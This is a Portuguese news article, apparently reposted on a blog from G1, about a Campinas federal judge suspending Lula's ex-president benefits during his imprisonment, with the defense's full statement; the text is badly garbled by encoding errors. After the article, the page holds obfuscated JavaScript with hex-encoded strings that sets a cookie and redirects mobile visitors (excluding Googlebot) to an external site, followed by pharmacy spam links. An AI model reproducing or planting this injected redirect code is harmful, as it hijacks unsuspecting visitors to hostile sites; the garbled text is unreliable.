Nova pagina 1

Juiz federal de Campinas suspende benefA�cios do ex-presidente Lula

DecisA?o provisA?ria do juiz federal Haroldo Nader em aA�A?o movida por um advogado de Vinhedo tira de Lula seguranA�a, motorista, cartA?o corporativo e veA�culos.

JustiA�a suspende benefA�cios que Lula tinha direito como ex-presidente

O juiz federal da 6A? Vara de Campinas (SP) concedeu uma decisA?o provisA?ria, por meio de liminar, que suspende imediatamente benefA�cios do ex-presidenteA�Luiz InA?cio Lula da SilvaA�(PT),A�preso desde 7 de abril. SeguranA�a, motorista, veA�culos e cartA?o corporativo estA?o entre os direitos que Lula possuA�a e, segundo a decisA?o do magistrado, nA?o sA?o necessA?rias, uma vez que ele estA? preso.

“O ex-presidente estA? sob custA?dia permanente do Estado, em sala individual (fato notA?rio), ou seja, sob proteA�A?o da PolA�cia Federal, que lhe garante muito mais seguranA�a do que tivera quando livre, com alguns agentes a acompanhar-lhe aonde fosse”, diz o juiz Haroldo Nader.

A aA�A?o popular foi movida pelo advogado Rubens Nunes, de Vinhedo (SP), em causa prA?pria. Nunes nA?o questiona o decreto que prevA? direitos a ex-presidentesA�[conheA�a os direitos, abaixo], mas a manutenA�A?o dos benefA�cios ao ex-presidente preso.

Ele fundamentou o pedido com base na condenaA�A?o criminal em segunda instA?ncia e o inA�cio do cumprimento de pena de reclusA?o. Lula tambA�m perde assessores com a decisA?o.

A defesa de Lula informou, por nota, que “mesmo diante da momentA?nea privaA�A?o da liberdade, baseada em decisA?o injusta e nA?o definitiva, Lula necessita do apoio pessoal que lhe A� assegurado por lei e por isso a decisA?o serA? impugnada pelos recursos cabA�veis, com a expectativa de que ela seja revertida o mais breve possA�vel”.

“Nenhum juiz pode retirar direitos e prerrogativas instituA�das por lei a ex-presidentes da RepA?blica”, diz a defesa de Lula.

Lula A� carregado apA?s discursar no sindicato dos metalA?rgicos do ABC.

“Assim, nA?o se trata aqui da legalidade do Decreto, atA� porque regulamenta a Lei n. 7.474/86, tampouco da possibilidade de perda dos benefA�cios antes do trA?nsito em julgado da condenaA�A?o. Trata-se, neste ponto, do ato administrativo de manutenA�A?o do fornecimento e custeio de serviA�o de seguranA�as individuais, veA�culos com motoristas e assessores a um ex-presidente que cumpre pena longa, de doze anos e um mA?s de reclusA?o”, explica o magistrado.

Na decisA?o do juiz Haroldo Nader, desta quarta-feira (16), ele determina que a UniA?o suspenda imediatamente “todas as benesses atribuA�das ao primeiro demandado, ex-presidente Luiz InA?cio Lula da Silva, por forA�a do Decreto nA? 6.381/2008”.

Em relaA�A?o aos dois veA�culos A� disposiA�A?o de Lula, Nader diz que A� desnecessA?rio e especifica que, na atual condiA�A?o do ex-presidente “qualquer necessidade de transporte a outro local A� de responsabilidade policial federal e sob escolta”.

“Os agentes de seguranA�a sequer podem aproximar-se do ex-presidente para protegA?-lo adequadamente, se isso fosse necessA?rio. Idem aos veA�culos e motoristas, para transportA?-lo”.

Quanto A� assessoria, o juiz ressalta que nA?o hA? “qualquer justificativa razoA?vel” para a manutenA�A?o de assessores gerais para quem estA? detido.

“NA?o hA? utilidade alguma a essa assessoria”.

O advogado que entrou com a aA�A?o A� coordenador nacional do Movimento Brasil Livre (MBL).

Lula saiu a pA� do Sindicato dos MetalA?rgicos do ABC e seguranA�as tiveram que conter militantes (Foto: Leonardo Benassatto/Reuters)

Lula saiu a pA� do Sindicato dos MetalA?rgicos do ABC e seguranA�as tiveram que conter militantes.

Direitos de ex-presidentes

Segundo o decreto 6.381/2008, assinado pelo ex-presidente Lula, osA�ex-presidentes tA?m direito A� utilizaA�A?o de dois veA�culos oficiais, com respectivos motoristas, e serviA�os de seis servidores (quatro para seguranA�a e apoio pessoal e dois ocupantes de cargos em comissA?o nA�vel DAS-5).

O mesmo decreto diz, no entanto, que esses direitos sA?o exclusivos de quem houver exercido o mandato “em carA?ter permanente”, nA?o atingindo, portanto, quem assumiu a PresidA?ncia apenas durante a viagem do atual presidente ou de qualquer forma temporariamente.

Na decisA?o da 6A? Vara Federal de Campinas, o juiz destaca que a permanA?ncia dos benefA�cios e o pagamento A� custa da UniA?o sA?o “atos lesivos ao patrimA?nio pA?blico, pois A� flagrante a inexistA?ncia dos motivos”.

A Lei n. 4.717/65 (art. 2A?) estipula que hA? nulidade dos atos lesivos nos casos de incompetA?ncia, vA�cio de forma, ilegalidade do objeto, inexistA?ncia dos motivos e desvio de finalidade.

A defesa de Lula afirma, em nota, que ele teve todos os bens e recursos bloqueados por decisA�es judiciais e que a decisA?o 6A?. Vara Federal de Campinas “retira de Lula qualquer apoio pessoal que a lei lhe assegura na condiA�A?o de ex-Presidente da Republica”.

Preso hA? 40 dias

O ex-presidente Lula se entregou A� PolA�cia Federal (PF)A�na noite de 7 de abril,A�apA?s ficar dois dias na sede do Sindicato dos MetalA?rgicos do ABC, em SA?o Bernardo do Campo (SP).

Lula foi condenado em duas instA?ncias da JustiA�a no caso do triplex em GuarujA? (SP). A pena definida pela 8A? Turma do Tribunal Regional Federal da 4A? RegiA?o (TRF-4) A� de 12 anos e 1 mA?s de prisA?o, com inA�cio em regime fechado, por corrupA�A?o passiva e lavagem de dinheiro.

Veja a nota da defesa do ex-presidente na A�ntegra:

O ex-Presidente Lula nA?o foi intimado de decisA?o com esse conteA?do, que causa bastante perplexidade jA? que todos os ex-presidentes da RepA?blica, por forA�a de lei (Lei nA? 7.474/86) tA?m direito a a�?quatro servidores, para seguranA�a e apoio pessoala�?. Mesmo diante da momentA?nea privaA�A?o da liberdade, baseada em decisA?o injusta e nA?o definitiva, Lula necessita do apoio pessoal que lhe A� assegurado por lei e por isso a decisA?o serA? impugnada pelos recursos cabA�veis, com a expectativa de que ela seja revertida o mais breve possA�vel.

Nenhum juiz pode retirar direitos e prerrogativas instituA�das por lei a ex-presidentes da RepA?blica. Conforme parecer dos renomados Professores Lenio Luiz Streeck e AndrA� Karam Trindade (04/05/2018) sobre a matA�ria, essas prerrogativas sA?o a�?vitalA�cias e nA?o comportam qualquer tipo de exceA�A?oa�?.

Ainda segundo esses juristas, a�?A existA?ncia das referidas prerrogativas, na verdade, decorre de um triplo aspecto: um, preservar a honra e o a�?statusa�� digno de um ex-ocupante do cargo mA?ximo da naA�A?o; dois, quiA�A? ainda mais relevante, assegurar a independA?ncia necessA?ria para o pleno exercA�cio de suas funA�A�es de governo, com certeza de que, apA?s o tA�rmino do mandato, terA? seguranA�a e assessoria pessoais garantidas de maneira incondicional; trA?s, contribuir para evitar o ostracismo e, com isso, induzir A� alternA?ncia ao podera�?.

A aA�A?o em que foi proferida essa decisA?o tem manifesto carA?ter polA�tico, jA? que promovida por integrantes de movimento antagA?nico a Lula e com o claro objetivo de prejudicar sua honra e sua dignidade.

Lula teve todos os seus bens e recursos bloqueados por decisA�es proferidas pela 13A?. Vara Federal Criminal de Curitiba e pela 1A?. Vara de ExecuA�A�es Fiscais Federais de SA?o Paulo, nA?o dispondo de valores para sua prA?pria subsistA?ncia e para a subsistA?ncia de sua famA�lia e muito menos para exercer a garantia da ampla defesa prevista na ConstituiA�A?o Federal.

A decisA?o agora proferida pela 6A?. Vara Federal de Campinas retira de Lula qualquer apoio pessoal que a lei lhe assegura na condiA�A?o de ex-Presidente da Republica, deixando ainda mais evidente que ele A� vA�tima de a�?lawfarea�?, que consiste no mau uso e no abuso das leis e dos procedimentos jurA�dicos para fins de perseguiA�A?o polA�tica.

Lula quando foi preso em 7 de abril (Foto: Ricardo Moraes/Reuters)

Lula quando foi preso em 7 de abril.

Fonte G1

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Sobre o autor

Blog
Online Drugstore,purchase cialis online cheap,Free shipping,order cheap levitra,Discount 10%, buy nolvadex

Faça o primeiro comentário a "Juiz federal de Campinas suspende benefA�cios do ex-presidente Lula"

Comentar

O seu endereço de email não será publicado.


*